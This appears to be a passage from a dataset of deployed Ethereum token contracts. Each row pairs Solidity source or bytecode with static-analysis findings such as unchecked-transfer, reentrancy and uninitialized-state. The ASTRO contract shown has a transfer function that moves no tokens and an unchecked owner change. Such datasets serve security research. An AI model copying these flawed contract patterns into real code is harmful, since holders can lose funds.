526000815260200160200195505050505050600060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3361dead670de0b6b3a7640000600654026040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156109d157600080fd5b505af11580156109e5573d6000803e3d6000fd5b505050506040513d60208110156109fb57600080fd5b8101908080519060200190929190505050506001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b60015481565b610a75610bcf565b610ae7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c11610df2565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b610cb7610bcf565b610d29576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d74610bcf565b610de6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610def81610dfa565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610f3f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a723158201eae89fc264c6e163ae5cf9cccc94f076a1def17ed61fb91e9f8bd6b95451bec64736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 636 |
0x7ee001d235c6c5e0a6df156888792b607535bf00 | /**
*Submitted for verification at Etherscan.io on 2021-10-08
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public _owner;
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function changeOwner(address newOwner) public onlyOwner {
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
contract ASTRO is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
string private _name;
string private _symbol;
uint256 private _decimals;
//
struct Lock {
uint256 startAt;
uint256 amount;
}
mapping(address => Lock[]) public userLocks;
constructor(address tokenOwner) {
_name = "Astroswap";
_symbol = "ASTRO TOKEN";
_decimals = 18;
_tTotal = 10000000000 * 10**_decimals;
_rTotal = (MAX - (MAX % _tTotal));
_rOwned[tokenOwner] = _rTotal;
//exclude owner and this contract from fee
_isExcludedFromFee[tokenOwner] = true;
_isExcludedFromFee[address(this)] = true;
_owner = tokenOwner;
emit Transfer(address(0), tokenOwner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
//
receive() external payable {}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function claimTokens() public onlyOwner {
payable(_owner).transfer(address(this).balance);
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getTotalLockAndUnlock(address from)
public
view
returns (uint256, uint256)
{
uint256 totalLocked;
uint256 totalUnlocked;
Lock[] memory locks = userLocks[from];
for (uint256 i = 0; i < locks.length; i++) {
Lock memory item = locks[i];
//
// uint256 sinceDays = (block.timestamp - item.startAt).div(2 * 60);
uint256 sinceDays = (block.timestamp - item.startAt).div(24 * 3600);
//
totalLocked = totalLocked.add(item.amount);
//
if (sinceDays > 3) {
totalUnlocked = totalUnlocked.add(
(sinceDays - 3).mul(item.amount).div(10)
);
}
}
return (totalLocked, totalUnlocked);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
}
} | 0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461045b578063aa33fedb14610498578063b2bdfa7b146104d6578063dd62ed3e14610501578063ea2f0b371461053e578063f1bbd4fd1461056757610140565b806370a08231146103625780638da5cb5b1461039f57806395d89b41146103ca578063a457c2d7146103f5578063a6f9dae11461043257610140565b80632d838119116100fd5780632d83811914610240578063313ce5671461027d57806339509351146102a8578063437823ec146102e557806348c54b9d1461030e5780635342acb41461032557610140565b806306fdde0314610145578063095ea7b31461017057806313114a9d146101ad57806318160ddd146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6105a5565b6040516101679190611923565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906116df565b610637565b6040516101a49190611908565b60405180910390f35b3480156101b957600080fd5b506101c261064e565b6040516101cf9190611a65565b60405180910390f35b3480156101e457600080fd5b506101ed610658565b6040516101fa9190611a65565b60405180910390f35b34801561020f57600080fd5b5061022a6004803603810190610225919061168c565b610662565b6040516102379190611908565b60405180910390f35b34801561024c57600080fd5b506102676004803603810190610262919061171f565b61072d565b6040516102749190611a65565b60405180910390f35b34801561028957600080fd5b5061029261079b565b60405161029f9190611a65565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca91906116df565b6107a5565b6040516102dc9190611908565b60405180910390f35b3480156102f157600080fd5b5061030c6004803603810190610307919061161f565b61084a565b005b34801561031a57600080fd5b50610323610933565b005b34801561033157600080fd5b5061034c6004803603810190610347919061161f565b610a2a565b6040516103599190611908565b60405180910390f35b34801561036e57600080fd5b506103896004803603810190610384919061161f565b610a80565b6040516103969190611a65565b60405180910390f35b3480156103ab57600080fd5b506103b4610ad1565b6040516103c191906118ed565b60405180910390f35b3480156103d657600080fd5b506103df610afa565b6040516103ec9190611923565b60405180910390f35b34801561040157600080fd5b5061041c600480360381019061041791906116df565b610b8c565b6040516104299190611908565b60405180910390f35b34801561043e57600080fd5b506104596004803603810190610454919061161f565b610c4b565b005b34801561046757600080fd5b50610482600480360381019061047d91906116df565b610d1c565b60405161048f9190611908565b60405180910390f35b3480156104a457600080fd5b506104bf60048036038101906104ba91906116df565b610d33565b6040516104cd929190611a80565b60405180910390f35b3480156104e257600080fd5b506104eb610d74565b6040516104f891906118ed565b60405180910390f35b34801561050d57600080fd5b506105286004803603810190610523919061164c565b610d98565b6040516105359190611a65565b60405180910390f35b34801561054a57600080fd5b506105656004803603810190610560919061161f565b610e1f565b005b34801561057357600080fd5b5061058e6004803603810190610589919061161f565b610f08565b60405161059c929190611a80565b60405180910390f35b6060600880546105b490611c55565b80601f01602080910402602001604051908101604052809291908181526020018280546105e090611c55565b801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b5050505050905090565b60006106443384846110a0565b6001905092915050565b6000600754905090565b6000600554905090565b600061066f84848461126b565b610722843361071d8560405180606001604052806028815260200161204c60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113939092919063ffffffff16565b6110a0565b600190509392505050565b6000600654821115610774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076b90611965565b60405180910390fd5b600061077e6113f7565b9050610793818461142290919063ffffffff16565b915050919050565b6000600a54905090565b6000610840338461083b85600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146c90919063ffffffff16565b6110a0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cf906119e5565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b8906119e5565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610a27573d6000803e3d6000fd5b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610aca600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461072d565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610b0990611c55565b80601f0160208091040260200160405190810160405280929190818152602001828054610b3590611c55565b8015610b825780601f10610b5757610100808354040283529160200191610b82565b820191906000526020600020905b815481529060010190602001808311610b6557829003601f168201915b5050505050905090565b6000610c413384610c3c8560405180606001604052806025815260200161207460259139600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113939092919063ffffffff16565b6110a0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd0906119e5565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610d2933848461126b565b6001905092915050565b600b6020528160005260406000208181548110610d4f57600080fd5b9060005260206000209060020201600091509150508060000154908060010154905082565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea4906119e5565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000806000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b82821015610fb557838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190610f6f565b50505050905060005b8151811015611091576000828281518110610fdc57610fdb611d5d565b5b60200260200101519050600061100d62015180836000015142610fff9190611ba6565b61142290919063ffffffff16565b905061102682602001518761146c90919063ffffffff16565b9550600381111561107c5761107961106a600a61105c856020015160038661104e9190611ba6565b6114ca90919063ffffffff16565b61142290919063ffffffff16565b8661146c90919063ffffffff16565b94505b5050808061108990611c87565b915050610fbe565b50828294509450505050915091565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611110576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110790611a45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611180576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117790611985565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125e9190611a65565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d290611a25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134290611945565b60405180910390fd5b6000811161138e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138590611a05565b60405180910390fd5b505050565b60008383111582906113db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d29190611923565b60405180910390fd5b50600083856113ea9190611ba6565b9050809150509392505050565b6000806000611404611545565b9150915061141b818361142290919063ffffffff16565b9250505090565b600061146483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611592565b905092915050565b600080828461147b9190611ac5565b9050838110156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b7906119a5565b60405180910390fd5b8091505092915050565b6000808314156114dd576000905061153f565b600082846114eb9190611b4c565b90508284826114fa9190611b1b565b1461153a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611531906119c5565b60405180910390fd5b809150505b92915050565b600080600060065490506000600554905061156d60055460065461142290919063ffffffff16565b8210156115855760065460055493509350505061158e565b81819350935050505b9091565b600080831182906115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d09190611923565b60405180910390fd5b50600083856115e89190611b1b565b9050809150509392505050565b6000813590506116048161201d565b92915050565b60008135905061161981612034565b92915050565b60006020828403121561163557611634611d8c565b5b6000611643848285016115f5565b91505092915050565b6000806040838503121561166357611662611d8c565b5b6000611671858286016115f5565b9250506020611682858286016115f5565b9150509250929050565b6000806000606084860312156116a5576116a4611d8c565b5b60006116b3868287016115f5565b93505060206116c4868287016115f5565b92505060406116d58682870161160a565b9150509250925092565b600080604083850312156116f6576116f5611d8c565b5b6000611704858286016115f5565b92505060206117158582860161160a565b9150509250929050565b60006020828403121561173557611734611d8c565b5b60006117438482850161160a565b91505092915050565b61175581611bda565b82525050565b61176481611bec565b82525050565b600061177582611aa9565b61177f8185611ab4565b935061178f818560208601611c22565b61179881611d91565b840191505092915050565b60006117b0602383611ab4565b91506117bb82611da2565b604082019050919050565b60006117d3602a83611ab4565b91506117de82611df1565b604082019050919050565b60006117f6602283611ab4565b915061180182611e40565b604082019050919050565b6000611819601b83611ab4565b915061182482611e8f565b602082019050919050565b600061183c602183611ab4565b915061184782611eb8565b604082019050919050565b600061185f602083611ab4565b915061186a82611f07565b602082019050919050565b6000611882602983611ab4565b915061188d82611f30565b604082019050919050565b60006118a5602583611ab4565b91506118b082611f7f565b604082019050919050565b60006118c8602483611ab4565b91506118d382611fce565b604082019050919050565b6118e781611c18565b82525050565b6000602082019050611902600083018461174c565b92915050565b600060208201905061191d600083018461175b565b92915050565b6000602082019050818103600083015261193d818461176a565b905092915050565b6000602082019050818103600083015261195e816117a3565b9050919050565b6000602082019050818103600083015261197e816117c6565b9050919050565b6000602082019050818103600083015261199e816117e9565b9050919050565b600060208201905081810360008301526119be8161180c565b9050919050565b600060208201905081810360008301526119de8161182f565b9050919050565b600060208201905081810360008301526119fe81611852565b9050919050565b60006020820190508181036000830152611a1e81611875565b9050919050565b60006020820190508181036000830152611a3e81611898565b9050919050565b60006020820190508181036000830152611a5e816118bb565b9050919050565b6000602082019050611a7a60008301846118de565b92915050565b6000604082019050611a9560008301856118de565b611aa260208301846118de565b9392505050565b600081519050919050565b600082825260208201905092915050565b6000611ad082611c18565b9150611adb83611c18565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b1057611b0f611cd0565b5b828201905092915050565b6000611b2682611c18565b9150611b3183611c18565b925082611b4157611b40611cff565b5b828204905092915050565b6000611b5782611c18565b9150611b6283611c18565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b9b57611b9a611cd0565b5b828202905092915050565b6000611bb182611c18565b9150611bbc83611c18565b925082821015611bcf57611bce611cd0565b5b828203905092915050565b6000611be582611bf8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015611c40578082015181840152602081019050611c25565b83811115611c4f576000848401525b50505050565b60006002820490506001821680611c6d57607f821691505b60208210811415611c8157611c80611d2e565b5b50919050565b6000611c9282611c18565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611cc557611cc4611cd0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61202681611bda565b811461203157600080fd5b50565b61203d81611c18565b811461204857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d5b7a40c4a6187ce96ccec8ea0137d753e7f668c77aef09f7fcfa79fb524f1f264736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 637 |
0xfbdb4f34608da96196a0eaebb72e7c13dc2c8058 | pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract ERNToken is owned {
using SafeMath for uint256;
string public constant name = "ERNToken";
string public constant symbol = "ERN";
uint public constant decimals = 8;
uint constant ONETOKEN = 10 ** uint256(decimals);
uint constant MILLION = 1000000;
uint public constant Total_TokenSupply = 1000 * MILLION * ONETOKEN; //1B Final Token Supply
uint public totalSupply;
uint public Dev_Supply;
uint public GrowthPool_Supply;
uint public Rewards_Supply; //to be added 45% Rewards
bool public DevSupply_Released = false; //Locked 3% Dev Supply
bool public GrowthPool_Released = false; //Locked 2% Growth Pool Supply
bool public ICO_Finished = false; //ICO Status
uint public ICO_Tier = 0; //ICO Tier (1,2,3,4)
uint public ICO_Supply = 0; //ICO Supply will change per Tier
uint public ICO_TokenValue = 0; //Token Value will change per ICO Tier
bool public ICO_AllowPayment; //Control Ether Payment when ICO is On
bool public Token_AllowTransfer = false; //Locked Token Holder for transferring ERN
uint public Collected_Ether;
uint public Total_SoldToken;
uint public Total_ICOSupply;
address public etherWallet = 0x90C5Daf1Ca815aF29b3a79f72565D02bdB706126;
constructor() public {
totalSupply = 1000 * MILLION * ONETOKEN; //1 Billion Total Supply
Dev_Supply = totalSupply.mul(3).div(100); //3% of Supply -> locked until 01/01/2020
GrowthPool_Supply = totalSupply.mul(2).div(100); //2% of Supply -> locked until 01/01/2019
Rewards_Supply = totalSupply.mul(45).div(100); //45% of Supply -> use for rewards, bounty, mining, etc
totalSupply -= Dev_Supply + GrowthPool_Supply + Rewards_Supply; //50% less for initial token supply
Total_ICOSupply = totalSupply; //500M ICO supply
balanceOf[msg.sender] = totalSupply;
}
mapping (address => uint256) public balanceOf;
mapping (address => bool) public whitelist;
mapping (address => uint256) public PrivateSale_Cap;
mapping (address => uint256) public PreIco_Cap;
mapping (address => uint256) public MainIco_Cap;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Whitelisted(address indexed target, bool whitelist);
event IcoFinished(bool finish);
modifier notLocked{
require(Token_AllowTransfer == true || msg.sender == owner);
_;
}
modifier buyingToken{
require(ICO_AllowPayment == true);
require(msg.sender != owner);
if(ICO_Tier == 1)
{
require(whitelist[msg.sender]);
}
if(ICO_Tier == 2)
{
require(whitelist[msg.sender]);
